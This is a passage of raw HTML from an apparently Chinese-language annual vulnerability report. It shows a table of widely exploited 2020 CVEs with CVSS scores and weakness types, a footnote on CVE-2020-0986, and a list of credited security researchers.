1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-3452</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Cisco ASA/FTD Web Services Read-Only Path Traversal  Vulnerability</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">7.5</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Widespread Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">File enumeration</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Injection</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-1472</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">NetLogon Elevation of Privilege &#34;Zerologon&#34;</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">10</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Widespread Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Lateral movement</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-11651</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">SaltStack Salt Remote Code Execution</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Widespread Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network infrastructure compromise</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2019-19781</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Citrix NetScaler ADC/Gateway/SD-WAN Arbitrary Code  Execution</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Widespread Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited in the wild</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network pivot</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-5902</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">F5 Big-IP TMUI Remote Code Execution</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">10</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Widespread Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited in the wild</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network pivot</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2019-18935</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Telerik UI RadAsyncUpload .NET Deserialization</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Widespread Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Deserialization / .NET</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-0688</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Microsoft Exchange Server Static Validation Key Remote  Code Execution</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">8.8</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Widespread Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Deserialization / .NET</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-0796</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Windows SMBv3 Client/Server Remote Code Execution  &#34;SMBghost&#34;</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">10</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Widespread Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-14882</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Oracle WebLogic Server Remote Code Execution</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Widespread Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited in the wild</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-15505</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">MobileIron Core and Connector Remote Code Execution</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Widespread Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Deserialization / Java</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-6287</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">SAP NetWeaver AS Java &#34;RECON&#34;</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">10</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Widespread Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr></tbody></table><p><span style="font-size: 15px;">*卡巴斯基看到针对CVE-2020-0986漏洞的野生攻击行为后，提供了CVE-2020-0986的报告。但表示，在他们通知之前，微软已经准备了一个补丁。即使卡巴斯基不是唯一一家观察到此行为的公司，但仍然将这个CVE归为零日漏洞里。</span></p><p><span style="font-size: 15px;"><br/></span></p><h2><span style="color: rgb(233, 95, 38);"><strong><span style="color: rgb(233, 95, 38);font-size: 15px;">参考文献</span></strong></span></h2><p><br/></p><p><span style="font-size: 15px;">安全性研究是一种社会追求。本报告得益于许多个人研究人员和研究团队的工作，包括但不限于以下人员的工作：</span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">Steven Seeley</span></span><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;font-size: 15px;">, Vulcan 360 (2020)</span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">JJ Lehmann and Ofri Ziv</span></span><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;font-size: 15px;">, Guardicore (2020)</span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">Rajesh Nataraj</span></span><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;font-size: 15px;">, Sophos (2020)</span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">Kevin Beaumont</span></span><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;font-size: 15px;">, Microsoft (2020)</span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">Nahuel Sanchez, Pablo Artuso</span></span><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;font-size: 15px;">, Onapsis (2020)</span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">Tom Tervoort and Ralph Moonen</span></span><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;font-size: 15px;">, Secura (2020)</span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">Research and Intelligence Fusion Team</span></span><span style="font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;"> (</span><span style="color: black;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">RIFT</span></span><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;">), NCC Group (2020)</span></span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">Sophos Labs</span></span><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;font-size: 15px;"> (2020)</span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">Dirk-jan</span></span><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;font-size: 15px;"> (dirkjanm) (2020)</span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">x41sec</span></span><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;font-size: 15px;"> (X41 D-SEC GmbH) (2020)</span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">Tom Sellers</span></span><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;font-size: 15px;">, Rapid7 Labs (2020)</span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">Maddie Stone</span></span><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;font-size: 15px;">, Google Project Zero (2020)</span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">James Forshaw</span></span><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;font-size: 15px;">, Google Project Zero (2020)</span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">Johannes B. Ullrich, Ph.D</span></span><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;font-size: 15px;">, SANS Technology Institute (2020)</span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">Aaron Soto</span></span><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;font-size: 15px;">, Rapid7 (2019)</span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">Jon Hart</span></span><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;font-size: 15px;">, Rapid7 Labs (2019)</span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">Grant Willcox</span></span><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;font-size: 15px;">, Rapid7 (2020)</span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">Joe Needleman, Andrew Nelson, Tony Lee, andMark Stevens</span></span><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;font-size: 15px;">, BlackBerry(2020)</span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">Troy Mursch</span></span><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;font-size: 15px;">, Bad Packets (2019)</span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">Shelby Pace</span></span><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;font-size: 15px;">, Rapid7 (2020)</span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">Claroty Research Team</span></span><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;font-size: 15px;">, Claroty (2020)</span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">Bob Rudis</span></span><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;font-size: 15px;">, Rapid7 Labs (2020)</span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">John Miller, Matt Allen, Christopher Glyer,Ian Ahl, Nick Carr</span></span><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;font-size: 15px;">, FireEye(2017)</span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">ollypwn</span></span><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;font-size: 15px;"> (2020)</span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">ZecOps Research Team</span></span><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;font-size: 15px;">, ZecOps (2020)</span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">RiskSense</span></span><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;font-size: 15px;"> (2018)</span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">Brent Cook</span></span><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;font-size: 15px;">, Rapid7 (2019)</span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">Craig Young</span></span><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;font-size: 15px;">, Tripwire (2020)</span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">Daniel dos Santos, Stanislav Dashevskyi,Jos Wetzels, and Amine Amri</span></span><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;font-size: 15px;">,Forescout Research Labs (2020)</span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">Maayan Fishelov</span></span><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;font-size: 15px;">, SCADAfence (2020)</span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">Haozhe Zhang, Qi Deng, Zhibin Zhang andRuchna Nigam</span></span><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;font-size: 15px;">, Palo Alto(2020)</span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">Christopher Glyer, Dan Perez, Sarah Jones,Steve Miller</span></span><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;font-size: 15px;">, FireEye(2020)</span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">Volexity Threat Research</span></span><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;font-size: 15px;">, Volexity (2020)</span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">Tony Lambert</span></span><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;font-size: 15px;">, Red Canary Intel (2020)</span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">Boris Larin</span></span><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;font-size: 15px;">, Kaspersky (2020)</span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">Andy Reactor</span></span><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;font-size: 15px;">, Mandiant (2020)</span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">Kevin Beaumont</span></span><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;font-size: 15px;"> (2020)</span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">SophosLabs</span></span><span style="font-size: 15px;"><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;"> (2020)<br/></span><span style="color: black;"><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;">Mateusz Jurczyk</span></span><span style="font-family: Arial, sans-serif;color: rgb(93, 109, 117);letter-spacing: 0.33px;">, Google Project Zero (2020)</span></span></p><p style="background:#FEFEFE;"><span style="color: black;font-size: 15px;"><span 